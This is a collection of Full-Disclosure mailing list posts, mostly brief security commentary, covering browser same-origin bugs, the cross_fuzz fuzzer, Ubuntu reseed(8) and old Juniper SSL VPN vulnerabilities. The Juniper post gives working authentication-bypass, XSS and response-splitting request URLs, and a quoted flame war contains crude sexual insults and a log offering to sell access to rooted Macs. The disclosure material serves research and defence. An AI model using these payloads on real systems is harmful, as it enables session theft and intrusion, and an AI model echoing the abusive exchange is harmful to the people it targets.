Ubuntu's reseed(8) can be used to seed the PRNG state of a host. The script is run when the package installed, and anytime su executes the script. reseed(8) performs a unsecured HTTP request to random.org for its bits, despite random.org offering HTTPS services. This resulted in a couple of discussions elsewhere, but as weird the idea of retrieving a seed from the Internet is (over HTTPS or not), this particular use is probably (unintentionally) harmless. Writing to /dev/[u]random does not replace the existing entropy pool, and merely mixes some new data in. Therefore, the script does not reduce the quality of the kernel PRNG if you already have some entropy collected, even if the returned payload is completely bogus. The only effect it may have is improving entropy if you don't have any, or not doing anything useful (if connection fails, or predictable data is returned). I initially thought this is still bad news, because you don't want the kernel to think it has more entropy than in reality (thus not blocking /dev/random reads, etc) - but the write() performed by this code also does not affect the entropy estimate by the virtue of not doing RNDADDTOENTCNT or RNDADDENTROPY ioctls. So, it should be OK. The use of HTTPS is a red herring (and establishing HTTPS without any real entropy available is tricky anyway). A more significant concern is that the ownership or quality of random.org may change. But in this case, it simply renders this effort a nominally harmless no-op. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] (fractal-Self__) : A theoretical introduction to Universe, Conscious Machines and Programming Ur-cells !!!
Paradox are way of life... Hence, the goal here is to question every knowledge with reasoning and trying-not to build a static opinion on anything. But have you tried contacting the vendor first? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Got an iPhone or 3G iPad? Apple is recording your moves
Cool. I got an Iphone 3GS. Consider me ex-user. GG Apple. Let me guess, co-operation deal with NSA and the U.S goverment paid them some billion dollars for that. Totally. A vast conspiracy is the only possible explanation. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] INSECT Pro 2.5.1 released
I would like to suggest that advertising for products and tools (free or otherwise) be limited to just an initial announcement to tell people about the tool. Meh. Most authors keep the volume of their announcements low, and only highlight genuinely interesting updates. I think it's beneficial to allow this. Maybe highlighting the importance of these two qualities is the way to go? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Announcement posts and the charter (was Re: INSECT Pro 2.5.1 released)
It's whatever, un-moderated means exactly that. No-one can tell anyone else what to release/write. Period. Of course you can. That's what the charter is for. Unmoderated means simply that the charter is usually not proactively enforced (but even that is hardly an absolute guarantee). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] SSL Capable NetCat and more
This one is from command line, maybe the next will be in the server mode or whatever. Man, I hope you never find out what Perl is written in... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] III World War. - Broadcast Request.
I believe that the IIIWorld War conflict might start in 10 months or more from now. It's hard to disagree. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
this is only true for remote attackers hitting network service auth. Mhmm, and runas, su et al couldn't benefit from this? Not a whole lot. You can likely tell a successful login from a failed one within several miliseconds by watching /proc or so. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
I mean, if these are the security industry's geniuses, why, what would the
writers of Stuxnet be?
...seriously?
Disclosing how their epic story simply involved SQLi, well, what about the
guys discovering 0days in native code?
Totally. I have long postulated that perl -e '{print Ax1000}' is
considerably more l33t than scriptalert(1)/script or ' OR '1' ==
'1.
I don't understand the point you are getting at. I think that the more
interesting aspect of this story are the egregious practices revealed
in that write-up (and elsewhere):
http://lcamtuf.blogspot.com/2011/02/world-of-hbgary.html
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
Also, I would say that even though randomly prodding exec arguments with As isn't so elite, the space of the non-web is much more deep and much more complex than the space of the web.. I think that sentiment made sense 8-10 years ago, but today, it's increasingly difficult to defend. I mean, we are at a point where casual users can do without any real applications, beyond just having a browser. And in terms of complexity, the browser itself is approaching the kernel, and is growing more rapidly. Yes, web app vulnerabilities are easier to discover. That's partly because of horrible design decisions back in the 1990s, and partly because we're dealing with greater diversity, more complex interactions, and a much younger codebase. Plus, we had much less time to develop systemic defenses. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
If it did for Google, you're either mistaken, [...] Huh, what? Where did that come from? I would generally appreciate if we refrain from dragging it employers, business contacts, etc, into what amounts to an exchange of personal opinions. However, calling it an all out myth is misleading, and saying it's because contractors are pushing a myth is just wrong. My point is roughly this: http://lcamtuf.blogspot.com/2011/02/give-me-give-me-p-give-me-t.html /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
You and Ormandy have a lot to learn, still. Oh, hai. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
You can't be high profile Google employees one minute and switch off as personal entities the next, its pretty basic. Thank you for pointing this out to me. Your concern has been noted. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
all apologies, that was not my intent in the least-- referencing the public portion of the aurora stuff, which is part of the myth I thought you were referencing. Sure. The moment the discussion strays toward these topics, I am obviously not at liberty to discuss them freely. In general, I simply think that framing the problems that the industry is facing in terms of dealing with a new, sophisticated adversary is kind of meaningless and destructive, even if the risk is fundamentally true. The idea that AV + IDS + a prepackaged PCI / SOX / BS7799 audit was a legitimate response to the threats faced 5-10 years ago is about as misguided as the notion that $2M botnet monitoring or an IV drip of 0-day vulns will do the trick this time around. (Even if you need offensive capabilities - and most parties don't - nurturing a free market of 0-days sold to the highest bidder for exorbitant fees does not seem like a particularly good long-term plan.) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
FYI, here's a provisional advisory from Microsoft acknowledging this issue: http://www.microsoft.com/technet/security/advisory/2501696.mspx /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
I woudn't like to discourage ppl submitting vulns to vendors but this is the response you'll most likely to get from those kind of vendors no matter what you found in their system. I had more than a dozen similar experience like yours. Now it's public + fixed and you gotta get nothing beside these replies (: I think you'd be surprised. Our reward panel consists solely of people you would recognize from this list, BUGTRAQ, or vendor advisories; and we are very consistent, timely, and pretty generous in rewarding a large proportion of all incoming reports. Ask around :-) In this particular case, though, the underlying problem is clearly a browser-side flaw that is nearly impossible to fully address on web application side - and one that first surfaced in 2004, then wasn't fully fixed in 2007: http://openmya.hacker.jp/hasegawa/security/ms07-034.txt Even in cases like this, we sometimes reward the reporter when we are given advance notice, and there are clear ways we can protect our users. But in this instance, the report is already public, we are already aware it, and we are trying to deploy basic workarounds in a number of exposed spots; and as noted, realistically, there is a limited recourse any web app provider will have. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.google.com xss vulnerability Using mhtml
1.www.google.com app don't filter the CRLF This is not strictly required; there are other scenarios where this vulnerability is exploitable. 2.IE support mhtml protocol handler to render the mhtml file format, and this is the why mhtml: is designed The real problem is that when mhtml: is used to fetch the container over an underlying protocol, it does not honor Content-Type and related headers (or even nosniff). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Announcing cross_fuzz, a potential 0-day in circulation, and more
Hi list, == SUMMARY == I am happy to announce the availability of cross_fuzz - an amazingly effective but notoriously annoying cross-document DOM binding fuzzer that helped identify about one hundred bugs in all browsers on the market - many of said bugs exploitable - and is still finding more. The fuzzer owes some of its efficiency to dynamically generating extremely long-winding sequences of DOM operations across multiple documents, inspecting returned objects, recursing into them, and creating circular node references that stress-test garbage collection algorithms. More info about the exact algorithm used is given here: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html The design of the fuzzer makes it unexpectedly difficult to get clean, deterministic repros; to that effect, in the current versions of all the affected browsers, we are still seeing a collection of elusive problems when running the tool - and some not-so-elusive ones. I believe that at this point, a broader community involvement may be instrumental to tracking down and resolving these bugs. *** I also believe that at least one of the vulnerabilities discovered by cross_fuzz may be known to third parties - which makes getting this tool out a priority. *** == VENDOR RESPONSE / STATUS == * Internet Explorer: MSRC notified in July 2010. Fuzzer observed to trigger several exploitable crashes - e.g.: http://lcamtuf.coredump.cx/cross_fuzz/msie_crash.txt ...ad well as some security-relevant GDI corruption issues. *** Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties: http://goo.gl/7tcWh *** Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided an explanation as to why these issues could not be investigated earlier, I refused; more info here: http://lcamtuf.coredump.cx/cross_fuzz/fuzzer_timeline.txt * All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk. * Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, about fifty additional bugs identified (generally with no specific attribution at patch time). Several tricky crashes still occurring on trunk. Note: Flash-related (npswf32.dll) bad read/write offset crashes are also common if the plugin is installed. * Opera: vendor notified in July 2010. Update provided in December stated that Opera 11 fixes all the frequent crashes, and that a proper security advisory will be released at a later date. Release notes state: Fixed a high severity issue; details will be disclosed at a later date. Several hard-to-debug crashes reportedly still waiting to be resolved. Note that with Opera, the fuzzer needs to be restarted frequently due to OOM conditions. == DEMO / DOWNLOAD URL == Please see: http://lcamtuf.coredump.cx/cross_fuzz/ == MISC NOTES == Cross_fuzz can be easily extended to fuzz any DOM-enabled documents or browser plugins simply by providing new target documents. This may be an interesting area for future research. I believe that releasing the tool at this point is considerably more prudent than the approach taken with ref_fuzz in 2008-2010: http://lcamtuf.blogspot.com/2010/06/announcing-reffuzz-2yo-fuzzer.html For updates, you can actually follow me on Twitter (gasp): http://twitter.com/lcamtuf ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Default SSL Keys in Multiple Routers
These manufacturers use the same key on each of their models? That seems ridiculous to me... As a person who had a Siemens AP / router with a hardcoded, hidden management account on it, I find your surprise entertaining ;-) Craig, cool project. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Allegations regarding OpenBSD IPSEC
So for 10 years IPSEC has had a backdoor in it and not one person examining the code has noticed it? Or even questioned it? That's a bit hard to believe. Yeah, this totally never happens in the FOSS world. http://www.theregister.co.uk/2009/08/14/critical_linux_bug/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OpenBSD Paradox
sci.crypt would probably be the best place to ask. I imagine there's a discussion already, but have not visited lately. Have you been to the Usenet recently?;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] minor browser UI nitpicking
Hi folks, Two minor things that do not deserve a lengthy discussion, but are probably mildly interesting and worth mentioning for the record: 1) Chrome browser is an interesting example of the perils of using minimalistic window chrome, allowing multiple windows to be spliced seamlessly to confuse the user as to the origin of the displayed content. An unconvincing Windows-specific proof-of-concept: http://lcamtuf.coredump.cx/chsplice/ 2) I reported this to the vendor long time ago, and could not get them to commit to a specific fix: Safari allows windows without the address bar and other essential chrome, akin to the behavior of other browsers circa 10 years ago. This essentially makes all other address spoofing vulnerabilities redundant, as the attacker has the ability to decorate windows arbitrarily (you can look up ancient proof-of-concept exploits for Netscape or MSIE here). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] minor browser UI nitpicking
1) Yup, pretty unconvincing. Though one could separate window shadows, I'm guessing you have your window manager configured to render window shadows. In this case, this is less plausible, yup, unless you do the inverted gradient trick. 2) Where is here? :) I tried to dig something up, but couldn't. But we definitely had these around 2001-2003, culminating in browsers removing the ability to do location=no in window.open(). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Firefox 3.6.13 pseudo-URL SOP check bug (CVE-2010-3774)
Hi folks, Firefox 3.6.13 fixes an interesting bug in their same-origin policy logic for pseudo-URLs that do not have any inherent origin associated with them. These documents are normally expected to inherit the context from their parent, or be assigned a unique one. This didn't work as expected in Firefox, apparently due to a code refactoring in 2008. The vulnerability permits malicious websites to access and modify the contents of special pages such as about:neterror or about:config, which has consequences ranging from content spoofing to complete subversion of the browser security model. More info: http://lcamtuf.blogspot.com/2010/12/firefox-3613-damn-you-corner-cases.html Whimsical PoC: http://lcamtuf.coredump.cx/ffabout/ PS. I posted a couple of probably interesting browser security write-ups on my blog of recent, recapping the status quo in areas such as HTTP cookie security. Some readers might find them interesting / useful - say: http://lcamtuf.blogspot.com/2010/10/http-cookies-or-how-not-to-design.html Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] New Source Code Vulnerability Scanner (Free 30 Day Trial)
grep -r ACIDBITCHES * This code has two very obvious detection bypass vulnerabilities: 1) It fails to scan dotfiles in the starting directory, 2) It can be tricked into not producing any output by creating a file named -q in the starting dir. Let me fire up my vulnerability research whitepaper generator. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Open Letter to Lee Vartan, Assistant United States Attorney in regards to the Goatse Security iPad case.
Are we done?? The pair of you?? Yes?? Good, move on On 18/11/10 11:19, huj huj huj wrote: the pot calling the kettle black? lol you are becoming increasingly delusional maybe you should go back to eating out hepkitten its no wonder your parents gave up on you.. 2010/11/18 Andrew Auernheimer glutt...@gmail.com mailto:glutt...@gmail.com You're getting really incoherent. Do you need some ESL classes? Perhaps you should contact one of those commercial services that write college papers for lazy students to draft your FD troll posts. On Thu, Nov 18, 2010 at 5:12 AM, huj huj huj datski...@gmail.com mailto:datski...@gmail.com wrote: i didnt get the info from hepkitten? i dont see where you got that fact from what i said was that hepkitten ousted you from bantown maybe if you learned how to read your life would be easier.. white hat security researcher my ass is phishing myspace and livejournal accounts through lame memes whitehat? i doubt it.. get a grip and pull that dildo out of your ass you retard 2010/11/18 Andrew Auernheimer glutt...@gmail.com mailto:glutt...@gmail.com I have never denied the extensive production of politically motivated art I have produced, including the iProphet. I will continue making such compelling art to evoke emotion in my audiences. Regardless, the empirical evidence points to me being: * An anti-organized crime and anti-child pornography activist, a practice which I have been engaging in for years upon years. I have extensive evidence of merit to back this up and can say it under penalty of perjury. * A consumer rights advocate and white hat security researcher, something I have been cited by other respected researchers and won awards for public service for: http://techcrunch.com/2010/06/14/were-awarding-goatse-security-a-crunchie-award-for-public-service/ and your idea of a reliable source of information is... hepkitten? Clearly the only joke here is you, buddy. On Thu, Nov 18, 2010 at 4:03 AM, huj huj huj datski...@gmail.com mailto:datski...@gmail.com wrote: of course you didn't... and you also don't have a beard and post lame rants as the iprophet :) as for me eating fecal matter, you're just envious you are not fighting anything other than your anonymity and empty wallet stop pretending otherwise nobody believes your silly little lies and misconceptions anyway you and the rest of your losercrew can go suck a lemon you were never anything.. hell hepkitten ousted you lol loser 2010/11/18 Andrew Auernheimer glutt...@gmail.com mailto:glutt...@gmail.com I never made those statements. They seem particularly ridiculous and not even remotely in my rhetorical style. But for the sake of argument, I have IRC logs showing that you're a degenerate shit eater: 01:42 Hujhujhuj last night I got a train run on me in a sling at a pozzing party 01:42 Hujhujhuj i loved having an ass packed full of semen 01:42 Hujhujhuj after it was done 4 hairy bears shit on my chest 01:44 Hujhujhuj i packed the delicious feces into my mouth and i loved every single scrumptious bite 01:46 Hujhujhuj im going to get tested later today, i hope its poz, ive been trying for ages What do you have to say for yourself? On Thu, Nov 18, 2010 at 3:42 AM, huj huj huj datski...@gmail.com mailto:datski...@gmail.com wrote: ah sorry it was 8k owned macs you wanted to sell to the russians.. how very patriotic of you!! cunt :) 09:50 weev i gotta get some money 09:50 weev my cashflow sucks 09:51 weev whores 09:51 weev lavish cars 09:51 weev gigantic places to live 15:05 weev does anybody know these russians 15:06 weev that they are buying up hacked macs for 43 cents an install 15:26 weev i have access to like 15:26 weev 8k rooted macs 15:26 weev right now 15:26 weev and i would like to make a quick $3500 2010/11/18 huj huj huj datski...@gmail.com mailto:datski...@gmail.com yeah takes one to know one you have always been a nobody chasing fame with silly memes and smalltime trolling you keep talking about what others have done well i save starving children in africa i singlehandedly removed all german pedophiles from pattaya in 2009 i stopped the cold war between usa and cccp i could go on but i already copied your silly lies too much let me recap you have done absolutely nothing to help anyone but yourself you are a greedy
[Full-disclosure] some ooold Juniper bugs (was: ZDI-10-231: Juniper Secure Access Series meeting_testjava.cgi XSS Vulnerability)
This reminded me of a bunch of problems I spotted in Juniper SSL VPN a while ago; they are apparently fixed, but I don't recall seeing any public vendor advisory / credit for reporting them - so here you go, even if just for the record... These were fixed by Juniper in IVE 6.3R1, 6.2R3, 6.1R5, 6.0R8, and 5.5 R7.1 over a year ago. 1) Auth bypass - IVE permitted just about any script on the box to be invoked without authentication by going through a /dana-na/download/?url= hop, for example: https://IVE/dana-na/download/?url=/dana/home/launch.cgi?url=http://www.example.com/ 2) XSS flaws (which are pretty bad in SSL VPN appliances, because they completely trash the security model of this access mode): This worked in IVE 6.2: https://IVE/dana-na/meeting/meeting_testresult.cgi?redir=%2Fdana-na%2Fmeeting%2Flogin_meeting.cgi%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ejava=1 This worked with IVE 5.5 Firefox: https://IVE/dana-na/download/?url=/dana/home/launch.cgi?url=data:text/html%3bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b This worked with IVE 5.5 MSIE: https://IVE/dana-na/download/?url=/dana/home/launch.cgi?url=vbscript:MsgBox(%2522Hi%2522) XSS + response splitting: /dana-na/download/?url=/dana/fb/smb/wfmd.cgi?file=AAA%0aRefresh:%201,URL=javascript:alert(1)%0aFoo:%0a%0a And some more vanilla XSSes: /dana/fb/smb/rd.cgi?si=%22)%3balert(1)%3b/script /dana/fb/smb/wu.cgi?dir=foo%22scriptalert(1)%3b/script /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] some ooold Juniper bugs (was: ZDI-10-231: Juniper Secure Access Series meeting_testjava.cgi XSS Vulnerability)
And the political spin: companies get away with shipping broken software and residing in (1) and (2) above because there are no software liability laws, even though software enjoys intellectual property protection. Reason: In America, corporate America bribes the legislature (err, makes 'PAC contributions'). Good thing we have excellent software liability laws in the EU, then ;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
